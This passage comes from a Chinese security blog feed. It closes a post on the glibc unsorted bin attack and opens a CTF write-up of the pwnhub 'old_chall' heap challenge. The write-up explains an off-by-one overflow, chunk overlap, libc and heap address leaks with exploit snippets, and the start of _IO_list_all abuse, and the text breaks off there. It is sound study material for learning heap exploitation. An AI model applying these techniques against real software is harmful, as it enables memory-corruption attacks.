class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> ((victim = unsorted_chunks (av)-&gt;bk) != unsorted_chunks (av))</span><br><span class="line">        &#123;</span><br><span class="line">          bck = victim-&gt;bk;</span><br><span class="line">          <span class="keyword">if</span> (__builtin_expect (victim <span class="number">-1</span>-&gt;size &lt;= <span class="number">2</span> * SIZE_SZ, <span class="number">0</span>)</span><br><span class="line">              || __builtin_expect (victim-&gt;size &gt; av-&gt;system_mem, <span class="number">0</span>))</span><br><span class="line">            malloc_printerr (check_action, <span class="string">&quot;malloc(): memory corruption&quot;</span>,</span><br><span class="line">                             chunk2mem (victim), av);</span><br><span class="line">          size = chunksize (victim);</span><br><span class="line"></span><br><span class="line">          <span class="comment">/*</span></span><br><span class="line"><span class="comment">             If a small request, try to use last remainder if it is the</span></span><br><span class="line"><span class="comment">             only chunk in unsorted bin.  This helps promote locality for</span></span><br><span class="line"><span class="comment">             runs of consecutive small requests. This is the only</span></span><br><span class="line"><span class="comment">             exception to best-fit, and applies only when there is</span></span><br><span class="line"><span class="comment">             no exact fit for a small chunk.</span></span><br><span class="line"><span class="comment">           */</span></span><br><span class="line"></span><br><span class="line">          <span class="comment">/* remove from unsorted list */</span></span><br><span class="line">          unsorted_chunks (av)-&gt;bk = bck;</span><br><span class="line">          bck-&gt;fd = unsorted_chunks (av);</span><br><span class="line">          <span class="comment">//skip some code</span></span><br><span class="line"><span class="keyword">if</span> (size == nb)</span><br><span class="line">&#123;</span><br><span class="line">  set_inuse_bit_at_offset (victim, size);</span><br><span class="line">  <span class="keyword">if</span> (av != &amp;main_arena)</span><br><span class="line">    victim-&gt;size |= NON_MAIN_ARENA;</span><br><span class="line">  check_malloced_chunk (av, victim, nb);</span><br><span class="line">  <span class="type">void</span> *p = chunk2mem (victim);</span><br><span class="line">  alloc_perturb (p, bytes);</span><br><span class="line">  <span class="keyword">return</span> p;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里我们根据源码可以知道，此时unsorted bin 并没有使用unlink，而是自己简单的实现了一个从链表中摘除chunk的逻辑。<br>我们这里复习一下unsorted bin的特征</p><ul><li>当仅有一个unsorted bin的时候， 其fd和bk指向main_arena，同时main_arena的fd和bk指向这个bin</li><li>FIFO，当第二个chunk进来的时候，<code>bin1-&gt;fd = bin2, bin2-&gt;bk = bin1, main_arena-&gt;bk = bin1, main_arena-&gt;fd = bin2</code><br>那么我们以这个情况举一个分配的例子:</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">main_arena</span><br><span class="line">+-----------------------------+</span><br><span class="line">|      fd      |      bk      |----+</span><br><span class="line">+-----------------------------+   |</span><br><span class="line">[<span class="number">0</span>]   |</span><br><span class="line">+-----------------------------+    |</span><br><span class="line">|   prev_size  |     size     |    |</span><br><span class="line">+-----------------------------+    |</span><br><span class="line">|      fd      |      bk      |&lt;---+</span><br><span class="line">+-----------------------------+    |</span><br><span class="line">[<span class="number">1</span>]   |</span><br><span class="line">+-----------------------------+   |</span><br><span class="line">|   prev_size  |     size     |   |</span><br><span class="line">+-----------------------------+    |</span><br><span class="line">|      fd      |      bk      |&lt;---+</span><br><span class="line">+-----------------------------+</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>用上图的例子描述以下<code>unsorted bin</code>中的摘除逻辑翻译以下的话，是这样的:</p><ul><li><p>将最接近main_arena的 unosoted bin[0] 摘下来，让其<code>main_arena</code>中<code>unsorted bin</code>的bk指向 unsorted bin[1]</p></li><li><p>然后让unsorted bin[1]的fd指向main_arena的地址</p></li><li><p>如果满足（特殊情况）</p><ul><li>请求大小在 small bin范围</li><li>此时只有一个unsorted bin</li><li>当前摘下来的unsorted bin为last remainder</li><li>当前堆块大小大于请求大小的时候<br>那么此时会将当前的堆块切分成两块，并且将此时的main_arena的fd和bk重新指向这个堆块，同时完成last_remainder的分配</li></ul></li><li><p>如果请求大小 nb = 当前unsorted bin 的size，那么会将当前堆块直接交予用户</p></li><li><p>如果请求大小 nb != 当前unsorted bin 的size，那么此时会将<strong>所有的堆块按照大小放入smallbin或者largebin中</strong>，之后：</p><ul><li>如果请求大小 nb &lt; 当前unsorted bin 的size，会遍历当前堆块，将其中<strong>大小最接近nb的堆块取出来</strong>（也就是刚刚我们从unsorted bin中放进去的堆）切割后剩余部分交还给unsorted bin。</li><li>如果请求大小 nb &gt; 当前unsorted bin 的size，那就直接从top中进行请求s</li></ul></li></ul><p>所以攻击的时候，申请大小时一定要（1）和堆中的某一个大小一致（2）处于堆块链的末尾</p><p>根据例子中可以看到，其准备修改一个栈上的值为unsorted bin 在main_arena中的地址，结果如下:</p><p><img src="/2018/09/08/heapoverflow%E4%B9%8Bunsortedbin-attack/unsorted00.png" alt=""></p><p>可以看到，值已经被修改成功。</p><p>关于修改<code>_IO_list_all</code>的攻击思路，可以参考<a href="http://showlinkroom.me/2018/08/31/pwnhub-old-chall/">pwnhub old_chall</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;做了一个pwn题一口气更新了好多的文章。。pwnhub实在是tql&lt;/p&gt;</summary>
    
    
    
    
    <category term="heap" scheme="https://showlinkroom.me/tags/heap/"/>
    
    <category term="unsorted bin attack" scheme="https://showlinkroom.me/tags/unsorted-bin-attack/"/>
    
  </entry>
  
  <entry>
    <title>pwnhub old_chall</title>
    <link href="https://showlinkroom.me/2018/08/31/pwnhub-old-chall/"/>
    <id>https://showlinkroom.me/2018/08/31/pwnhub-old-chall/</id>
    <published>2018-08-31T13:57:11.000Z</published>
    <updated>2020-07-16T13:31:30.403Z</updated>
    
    <content type="html"><![CDATA[<p>记得我以前说过pwnhub的题目都超级便太，这次也是。。。主要也是突然着了魔，非要把题目做出来。然后我一个 pwn 小白硬是看着malloc源码（之前我一直觉得看了源码的都是大佬。。直到我做了这个题目，一边做就一边看。。。）研究出来了（？）真心膜那些两天内就做出来的大佬orz。。。。我真的太菜了</p><span id="more"></span><h2 id="old-chall">Old Chall</h2><h2 id="程序逻辑">程序逻辑</h2><p>一个典型的 heap pwn 的题目，我们来看一下其源码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;Size:&quot;</span>);</span><br><span class="line">nmemb = read_select();</span><br><span class="line"><span class="keyword">if</span> ( !nmemb || nmemb &gt; <span class="number">0x200</span> )</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Invalid size&quot;</span>);</span><br><span class="line">a1a = <span class="built_in">calloc</span>(nmemb, <span class="number">1u</span>);</span><br><span class="line"><span class="keyword">if</span> ( !a1a )</span><br><span class="line">  <span class="built_in">abort</span>();</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;Content:&quot;</span>);</span><br><span class="line">read_cont(a1a, nmemb);</span><br><span class="line">letter = <span class="built_in">calloc</span>(<span class="number">1u</span>, <span class="number">44u</span>);</span><br><span class="line"><span class="keyword">if</span> ( !letter )</span><br><span class="line">  <span class="built_in">abort</span>();</span><br><span class="line">letter-&gt;content = a1a;</span><br><span class="line">letter-&gt;content_size = nmemb;</span><br><span class="line">LOBYTE(letter-&gt;tag) = <span class="string">&quot;!&quot;</span>;</span><br><span class="line">BYTE1(letter-&gt;tag) = &amp;unk_8048CCE;</span><br><span class="line">BYTE2(letter-&gt;tag) = &amp;unk_8048CCE;</span><br><span class="line">HIBYTE(letter-&gt;tag) = &amp;unk_8048CCE;</span><br><span class="line"><span class="built_in">puts</span>(<span class="string">&quot;To:&quot;</span>);</span><br><span class="line"><span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">0x20</span>; ++i )                 <span class="comment">// overflow....</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">if</span> ( fread(&amp;letter-&gt;Receiver_Name[i], <span class="number">1u</span>, <span class="number">1u</span>, <span class="built_in">stdin</span>) != <span class="number">1</span> )</span><br><span class="line">    <span class="built_in">abort</span>();</span><br><span class="line">  <span class="keyword">if</span> ( letter-&gt;Receiver_Name[i] == <span class="number">10</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    letter-&gt;Receiver_Name[i] = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;                                             <span class="comment">// 第18个块之后会生成一个大小为0x64的</span></span><br><span class="line">a1-&gt;letters_array = <span class="built_in">realloc</span>(a1-&gt;letters_array, <span class="number">4</span> * (a1-&gt;letter_num + <span class="number">1</span>));<span class="comment">// 这里多分配一个空间</span></span><br><span class="line"><span class="keyword">if</span> ( !a1-&gt;letters_array )</span><br><span class="line">  <span class="built_in">abort</span>();</span><br><span class="line">array_head = a1-&gt;letters_array;</span><br><span class="line">num = a1-&gt;letter_num++;</span><br><span class="line">v4 = &amp;array_head[num];</span><br><span class="line">result = letter;</span><br><span class="line">*v4 = letter;</span><br></pre></td></tr></table></figure><p>其中</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Name</span>&#123;</span></span><br><span class="line"><span class="type">int</span> content_size;</span><br><span class="line"><span class="type">char</span>* content;</span><br><span class="line"><span class="type">int</span> tag;</span><br><span class="line"><span class="type">char</span> receive_name[<span class="number">20</span>];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里首先申请了一个用来存放<code>Content</code>的堆块，大小&lt;0x200，之后申请了一个固定大小为0x2c的<code>Name</code>堆块。其中的content指针指向我们的Content，并且记录下大小，写入tag之后，会读入<code>Name</code>，这个Name的大小为0x20，但是这个地方读入了0x21个字节，于是造成了<strong>一字节溢出</strong>————<strong>off by one</strong>.<br>申请的<code>Name</code>数组会放在一个堆上的空间，这里称为<code>name_array</code>。每次在<code>create_letter</code>时会使用<strong>realloc</strong>进行分配。这个<code>name_array</code>维护一个<code>count</code>变量，每次添加<code>Name</code>的时候自动增加1，但是删除的时候不进行数据的变动。</p><p>数据打印的逻辑如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> ( i = <span class="number">0</span>; ; ++i )</span><br><span class="line">&#123;</span><br><span class="line">  result = a1-&gt;letter_num;</span><br><span class="line">  <span class="keyword">if</span> ( a1-&gt;letter_num &lt;= i )</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">  <span class="keyword">if</span> ( a1-&gt;letters_array[i] )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;[%lu] To: &quot;</span>, i + <span class="number">1</span>);</span><br><span class="line">    write_(a1-&gt;letters_array[i]-&gt;Receiver_Name, <span class="number">0x20</span>u);</span><br><span class="line">    <span class="built_in">putchar</span>(<span class="number">10</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;[%lu] &lt;deleted&gt;\n&quot;</span>, i + <span class="number">1</span>);</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>很简单，就是根据<code>count</code>直接打印<code>name_array</code>中记录的<code>Name</code>变量。</p><p>删除逻辑为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">free</span>(a1-&gt;letters_array[index]-&gt;content);</span><br><span class="line"><span class="built_in">free</span>(a1-&gt;letters_array[index]);</span><br><span class="line">result = &amp;a1-&gt;letters_array[index];</span><br><span class="line">*result = <span class="number">0</span>;</span><br></pre></td></tr></table></figure><p>首先free<code>Content</code>，之后将存储<code>Content</code>的<code>Name</code>也free掉，并且将当前记录在<code>name_array</code>指针改为0。并且如果继续申请新的堆块，这边也不会重新利用这些空间。</p><h2 id="思路">思路</h2><p>分析完大致逻辑，可以总结以下几个点</p><ul><li>存在一个<code>off by one</code>的漏洞 --&gt; 可以进行 heap overlap</li><li>当前的堆free之后，array只是将当前指针置为0，再次申请空间也不会重复利用这部分内容(未想到如何利用)</li><li>每次申请一个<code>Name</code>，realloc都会重新申请一个空间（未想到如何利用）</li></ul><p>从几个点来看，这个题目的关键应该就是利用这个<code>off by one</code>的漏洞了。</p><h3 id="off-by-one">off by one</h3><p>这个漏洞的主要利用方式是，由于多写了一个字节，导致会将堆上的<code>size</code>字段修改，从而导致的一种漏洞。比如说如下的情况:<br><img src="/2018/08/31/pwnhub-old-chall/heap-overflow-17.png" alt=""><br>此时B、C块已经是<code>allocated</code>的状态。若我们的A块有能力溢出，改写B块的size字段，那么此时我们可以通过将size字段改大，然后将B块free掉，之后重新分配一个修改后的size大小的堆，就能够将B和C包括在堆中。不过这里注意一点:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">   nextsize = chunksize(nextchunk);</span><br><span class="line">   <span class="keyword">if</span> (__builtin_expect (nextchunk-&gt;size &lt;= <span class="number">2</span> * SIZE_SZ, <span class="number">0</span>)</span><br><span class="line">|| __builtin_expect (nextsize &gt;= av-&gt;system_mem, <span class="number">0</span>))</span><br></pre></td></tr></table></figure><p>当free的时候会检查当前的堆块<strong>之前或者之后的堆的大小是否合理</strong>。</p><h4 id="q-a">Q&amp;A</h4><ol><li><p>此时的size大小可随意伪造嘛？<br>我们知道，检查堆块之前\之后的堆<strong>是通过size字段进行查找的</strong>，所以如果我们随机伪造size，会导致检查过程中<code>bck\fd</code>（就是malloc中指向当前堆块前一个\后一个堆块的指针）会落入到一个空白（或者是我们的堆内容）中，这样会导致size变得很奇怪（而且有时候还是落入到不可控的位置等）类似这样的检验很多。所以<strong>除非我们知道此size会让指针落入到什么位置，否则我们通常使用overlap的思路，完整的将一个堆块包入</strong>。</p></li><li><p>除了1，此时的size有什么注意的？<br>inuse位（也就是最低位）要标志为1。也就是堆溢出的时候，size总是为单数。</p></li><li><p>为什么不尝试修改一个freed chunk？<br>其实是可以的，不过修改freed chunk的也需要布置chunk的头部就是了。</p></li><li><p>只需要关注当前fake的chunk嘛<br>不只，我们需要假设我们是glibc，所以此时fake chunk的next chunk和prev chunk我们都需要考虑在内。包括他们的prev_size和size都要注意</p></li></ol><h2 id="leak">leak</h2><p>pwn的第一步总是leak，这里我们通过构造堆尝试泄露libc和heap地址（这一步我玩了3天ORZ。。。）这个题目头疼的地方在于：</p><ol><li>它使用calloc，导致堆中的数据在malloc之后会被memset(0)</li><li>它能够控制分配大小的堆不能打印；能够打印的堆大小固定为0x30</li><li>它有一个realloc，并且不断的增大，导致堆的结构经常发生变化</li><li>具有溢出的地方，正好是具有打印能力的堆块，所以大小不可控。另一个可控大小的堆块只能够在攻击的时候利用。</li></ol><p>我承认它成功的恶心到我了。。因为一般的泄露思路都是利用什么free之后重新malloc导致残留指针之类的。或者一般的chunk overlap也是类似的思路，通过将之后已经free的堆块包含，然后打印当前堆块之类的。这个倒好，malloc之后memset了。。。。这样的话这些一般思路都不能用。思来想去，发现有一个办法还行，那就是<strong>故意造成堆块之间不对齐，从而让一些指针落入到可以打印的堆块中</strong>（想到这点之前，足足浪费了一天以上的时间试错真的是ORZ）</p><h3 id="libc">libc</h3><p>libc的话，我们考虑使用unsorted bin的fd和bk泄露。我们首先构造如下的堆:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">add_letter(ph, <span class="number">0x80</span>, padding, to)</span><br><span class="line">   add_letter(ph, <span class="number">0x10</span>, padding, to)</span><br><span class="line">   delete_letter(ph, <span class="number">0</span>)</span><br><span class="line">   delete_letter(ph, <span class="number">1</span>)</span><br></pre></td></tr></table></figure><p>我们分配0x10用于为<code>realloc</code>的堆存放下一次分配的内容（这么做好像有缺点，后来会提到），之后将这个两个堆释放掉，在内存中就会存在如下的形式:<br><img src="/2018/08/31/pwnhub-old-chall/chall00.png" alt=""><br>其中黄色为<strong>具有打印能力的Letter</strong>，红色为<strong>reallo分配的name_array</strong><br>为了能够泄露数据，我们必须满足以下条件</p><ul><li>构造了一个overlapchunk</li><li>overlapcunk将一个已经分配的Letter包括在里面</li><li>分配的时候，错位分配，让fd落在已分配的Letter中</li></ul><p>为了达到这个目的，我们<strong>必须要让第一次分配的那个Letter重新被分配到Letter</strong>，同时，要让<strong>第一次分配的堆上方存在一个Letter</strong>。因此根据fastbin FILO的原则，我们通过分配一次0x2c大小的堆块，让Content堆块占用一个fastbin，重新让Letter回到第一次分配的位置，同时我们分配一个大堆，让0x80上方出现一个用于溢出的Letter</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># raw_input(&quot;First check, we look at as note&quot;)</span></span><br><span class="line">padding = padding.replace(<span class="string">&quot;C&quot;</span>,<span class="string">&#x27;D&#x27;</span>)</span><br><span class="line">to = to.replace(<span class="string">&quot;B&quot;</span>,<span class="string">&quot;A&quot;</span>)</span><br><span class="line">add_letter(ph, <span class="number">0x2c</span>, padding ,<span class="string">&quot;ADDRADDRADDRADDRADDRADDR&quot;</span>)</span><br><span class="line">add_letter(ph, <span class="number">0x90</span>, padding ,to+<span class="string">&#x27;B\x41\x80&#x27;</span>)</span><br></pre></td></tr></table></figure><p><img src="/2018/08/31/pwnhub-old-chall/chall01.png" alt=""><br>由于一开始的0x80为unsorted bin，所以此时的0x50堆块依然是落在unsorted bin中，我们使用Letter修改其size字段，将下方的Letter重新包括进去。之后我们错位分配一个0x60大小的堆块，让unsorted bin剩下一个0x20的空间，从而让其fd和bk落入下方的Letter中:<br><img src="/2018/08/31/pwnhub-old-chall/chall02.png" alt=""></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">add_letter(ph, <span class="number">0x60</span>, padding, <span class="string">&#x27;T&#x27;</span>)</span><br></pre></td></tr></table></figure><p>这之后打印，就能够将fd和bk打印出来，从而泄露libc</p><h3 id="heap">heap</h3><p>做到上面那一步其实pwnhub已经结束了。。。后来问了官方，官方说要用到unsorted bin attack，所以要泄露heap的地址（为什么大佬可以在一天之内做的完呢？？？）没办法，我们继续利用我们上述的堆块进行泄露。</p><p>我们可以发现，刚刚的堆块中剩了一个堆，堆的大小为0x20，如果我们此时分配一个大小大于0x20的堆，就会让这个堆落入到small bin中，所以如果我们能够再次构造一个small bin，并且让这个堆块落入<code>Name</code>，就能够将heap的地址泄露出来。</p><p>我们首先构造一个和<code>Name</code>一样大的Content，并且在这个堆块的后面分配一个0x40的堆块，这个堆块之后自动分配的<code>Name</code>用来打印泄露的地址。为了能够overlap 所有的堆块，我们必须保证当前堆块的下一个堆块之后有一个有效的堆块大小，因此我们需要再次分配一个堆块来存放合法的堆块大小。之后，我们将这一步最先分配的堆块释放掉，为一会儿的溢出做准备:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">add_letter(ph, <span class="number">0x2c</span>, padding, to)</span><br><span class="line">   add_letter(ph, <span class="number">0x3c</span>, padding, <span class="string">&quot;A__DA__DA__DA__DA__DA__D&quot;</span>)</span><br><span class="line">   add_letter(ph, <span class="number">0x3c</span>, padding, to)</span><br><span class="line"></span><br><span class="line">   delete_letter(ph, <span class="number">5</span>)</span><br></pre></td></tr></table></figure><p><img src="/2018/08/31/pwnhub-old-chall/chall03.png" alt=""></p><p>之后重新分配0x30的堆块，从而让<code>Name</code>和Content的位置调换，进行off by one 的攻击，此时让堆块包括下方的整个堆。不过在实际执行的时候发现，reallloc的堆增加了一个0x20的堆块在中间，因此我们需要分配的堆块实际大小为0x30 + 0x20 + 0x40 + 0x30 = 0xc0<br><img src="/2018/08/31/pwnhub-old-chall/chall04.png" alt=""></p><p>之后我们通过分配一个0xa0大小的堆块，让堆块剩下0x20，并且落入到Letter中，之后再随便分配一个大于这个大小的堆，就能够让这个0x20大小的unsorted bin 落入small bin中，从而实现堆地址的泄露</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">add_letter(ph, <span class="number">0xa0</span>, padding, to)</span><br><span class="line">   add_letter(ph, <span class="number">0x100</span>, padding ,to)</span><br></pre></td></tr></table></figure><p><img src="/2018/08/31/pwnhub-old-chall/chall05.png" alt=""></p><h2 id="pwn">Pwn</h2><p>官方给出的解题思路中需要用到的是修改<code>_IO_list_all</code>。我在<br><a href="http://showlinkroom.me/2017/06/12/pwn%E4%B9%8B%E6%96%87%E4%BB%B6%E6%8C%87%E9%92%88%E5%A4%84%E7%90%86/">pwn之文件指针处理</a><br>中介绍过这个结构体的利用方式，但是这个利用方式在libc2.23之后就被封杀了，于是这里我们介绍另一种绕过的方式。</p><h3 id="io-list-all">_IO_LIST_ALL</h3><p>为了思考方便，我们把源代码贴出来。首先这个结构体定义为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE_plus</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  FILE file;</span><br><span class="line">  <span class="type">const</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IO_jump_t</span> *<span class="title">vtable</span>;</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>其中这个<code>vtable</code>中记录的内容为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_jump_t</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    JUMP_FIELD(<span class="type">size_t</span>, __dummy);</span><br><span class="line">    JUMP_FIELD(<span class="type">size_t</span>, __dummy2);</span><br><span class="line">    JUMP_FIELD(_IO_finish_t, __finish);</span><br><span class="line">    JUMP_FIELD(_IO_overflow_t, __overflow);</span><br><span class="line">    ....</span><br><span class="line">    <span class="comment">// 函数的跳转地址</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>FILE的内容则为:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span>&#123;</span></span><br><span class="line"><span class="type">int</span> _flags</span><br><span class="line"><span class="type">char</span> * _IO_read_ptr</span><br><span class="line"><span class="type">char</span> * _IO_read_end</span><br><span class="line"><span class="type">char</span> * _IO_read_base</span><br><span class="line"><span class="type">char</span> * _IO_write_base</span><br><span class="line"><span class="type">char</span> * _IO_write_ptr</span><br><span class="line"><span class="type">char</span> * _IO_write_end</span><br><span class="line"><span class="type">char</span> * _IO_buf_base</span><br><span class="line"><span class="type">char</span> * _IO_buf_end</span><br><span class="line"><span class="type">char</span> * _IO_save_base</span><br><span class="line"><span class="type">char</span> * _IO_backup_base</span><br><span class="line"><span class="type">char</span> * _IO_save_end</span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_marker</span> * _<span class="title">markers</span></span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span> * _<span class="title">chain</span> // <span class="title">size_t</span>*13</span></span><br><span class="line"><span class="class"><span class="title">int</span> _<span class="title">fileno</span></span></span><br><span class="line"><span class="class"><span class="title">int</span> _<span class="title">flags2</span></span></span><br><span class="line"><span class="class">_<span class="title">IO_off_t</span> _<span class="title">old_offset</span>//<span class="title">ptr</span></span></span><br><span class="line"><span class="class"><span class="title">unsigned</span> <span class="title">short</span> _<span class="title">cur_column</span></span></span><br><span class="line"><span class="class"><span class="title">signed</span> <span class="title">char</span> _<span class="title">vtable_offset</span></span></span><br><span class="line"><span class="class"><span class="title">char</span> _<span class="title">shortbuf</span> [1]</span></span><br><span class="line"><span class="class">_<span class="title">IO_lock_t</span> * _<span class="title">lock</span></span></span><br><span class="line"><span class="class">__<span class="title">off64_t</span> _<span class="title">offset</span>;</span></span><br><span class="line"><span class="comment">/* Wide character stream stuff.  */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_codecvt</span> *_<span class="title">codecvt</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_wide_data</span> *_<span class="title">wide_data</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> _<span class="title">IO_FILE</span> *_<span class="title">freeres_list</span>;</span></span><br><span class="line"><span class="type">void</span> *_freeres_buf;</span><br><span class="line"><span class="type">size_t</span> __pad5;</span><br><span class="line"><span class="type">int</span> _mode;</span><br><span class="line"><span class="comment">/* Make sure we don&#x27;t get into trouble again.  */</span></span><br><span class="line"><span class="type">char</span> _unused2[<span class="number">15</span> * <span class="keyword">sizeof</span> (<span class="type">int</span>) - <span class="number">4</span> * <span class="keyword">sizeof</span> (<span class="type">void</span> *) - <span class="keyword">sizeof</span> (<span class="type">size_t</span>)];</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>注意到这个<strong>struct _IO_FILE</strong> ，这里的地方指向了下一个_IO_FILE结构体。</p><p>关于这个变量的使用，我们查看代码，这里我们关注</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span></span><br><span class="line">_IO_flush_all_lockp (<span class="type">int</span> do_lock)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> result = <span class="number">0</span>;</span><br><span class="line">  FILE *fp;</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> _IO_MTSAFE_IO</span></span><br><span class="line">  _IO_cleanup_region_start_noarg (flush_cleanup);</span><br><span class="line">  _IO_lock_lock (list_all_lock);</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line">  <span class="keyword">for</span> (fp = (FILE *) _IO_list_all; fp != <span 